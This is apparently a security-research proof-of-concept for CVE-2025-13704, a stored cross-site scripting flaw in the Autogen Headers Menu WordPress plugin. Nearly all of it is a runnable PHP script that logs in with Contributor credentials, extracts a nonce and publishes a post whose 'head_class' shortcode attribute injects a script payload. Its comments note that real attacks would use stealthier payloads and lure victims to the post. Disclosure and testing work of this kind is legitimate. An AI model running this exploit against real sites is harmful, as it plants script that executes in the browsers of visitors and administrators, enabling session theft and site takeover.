CVE-2025-13704: Autogen Headers Menu <= 1.0.1 – Authenticated (Contributor+) Stored Cross-Site Scripting via 'head_class' Shortcode Parameter (autogen-headers-menu)

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-13704 - Autogen Headers Menu <= 1.0.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'head_class' Shortcode Parameter
<?php
/*
 * This PoC simulates an authenticated Contributor creating a post with a malicious shortcode.
 * Assumptions:
 * 1. The target site has the vulnerable plugin (<=1.0.1) active.
 * 2. Valid Contributor credentials are available.
 * 3. The site uses the standard WordPress login and post creation endpoints.
 * 4. The 'autogen_menu' shortcode is registered and processes the 'head_class' attribute.
 */

$target_url = 'https://target-site.com'; // CONFIGURE THIS
$username = 'contributor_user'; // CONFIGURE THIS
$password = 'contributor_pass'; // CONFIGURE THIS

// Payload to inject into the shortcode attribute.
// This is a basic proof-of-concept alert. Real attacks would use more stealthy payloads.
$xss_payload = '"><script>alert(document.domain)</script>';
$shortcode = "[autogen_menu head_class="autogen-class{$xss_payload}"]";
$post_title = "Test Post with XSS - " . uniqid();
$post_content = "This post contains the malicious shortcode. {$shortcode}";

// Initialize cURL session for cookie persistence
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Disable for testing only

// Step 1: Authenticate as Contributor
$login_url = $target_url . '/wp-login.php';
$login_fields = http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]);

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $login_fields);
curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/x-www-form-urlencoded']);
$response = curl_exec($ch);

// Check for login success by looking for dashboard redirect or absence of login form
if (strpos($response, 'wp-admin') === false && strpos($response, 'Dashboard') === false) {
    die('Authentication failed. Check credentials.');
}

// Step 2: Retrieve the nonce required for creating a post
$post_new_url = $target_url . '/wp-admin/post-new.php';
curl_setopt($ch, CURLOPT_URL, $post_new_url);
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);

// Extract the nonce for the 'create-post' action. Pattern may vary.
preg_match('/"_wpnonce" value="([a-f0-9]+)"/', $response, $nonce_matches);
if (empty($nonce_matches[1])) {
    die('Could not retrieve security nonce.');
}
$nonce = $nonce_matches[1];

// Step 3: Create a new post containing the malicious shortcode
$post_url = $target_url . '/wp-admin/post.php';
$post_fields = http_build_query([
    'post_title' => $post_title,
    'content' => $post_content,
    'publish' => 'Publish',
    'post_type' => 'post',
    '_wpnonce' => $nonce,
    '_wp_http_referer' => '/wp-admin/post-new.php',
    'user_ID' => '1', // Assumed user ID; may need extraction
    'action' => 'editpost',
    'post_status' => 'publish'
]);

curl_setopt($ch, CURLOPT_URL, $post_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
$response = curl_exec($ch);

// Check for success
if (strpos($response, 'Post published.') !== false || strpos($response, 'post-') !== false) {
    echo "Potential exploit post created. Visit the new post to trigger the XSS.n";
    // In a real scenario, the attacker would now lure victims to view the post.
} else {
    echo "Post creation may have failed. Check permissions and nonce.n";
}

curl_close($ch);
?>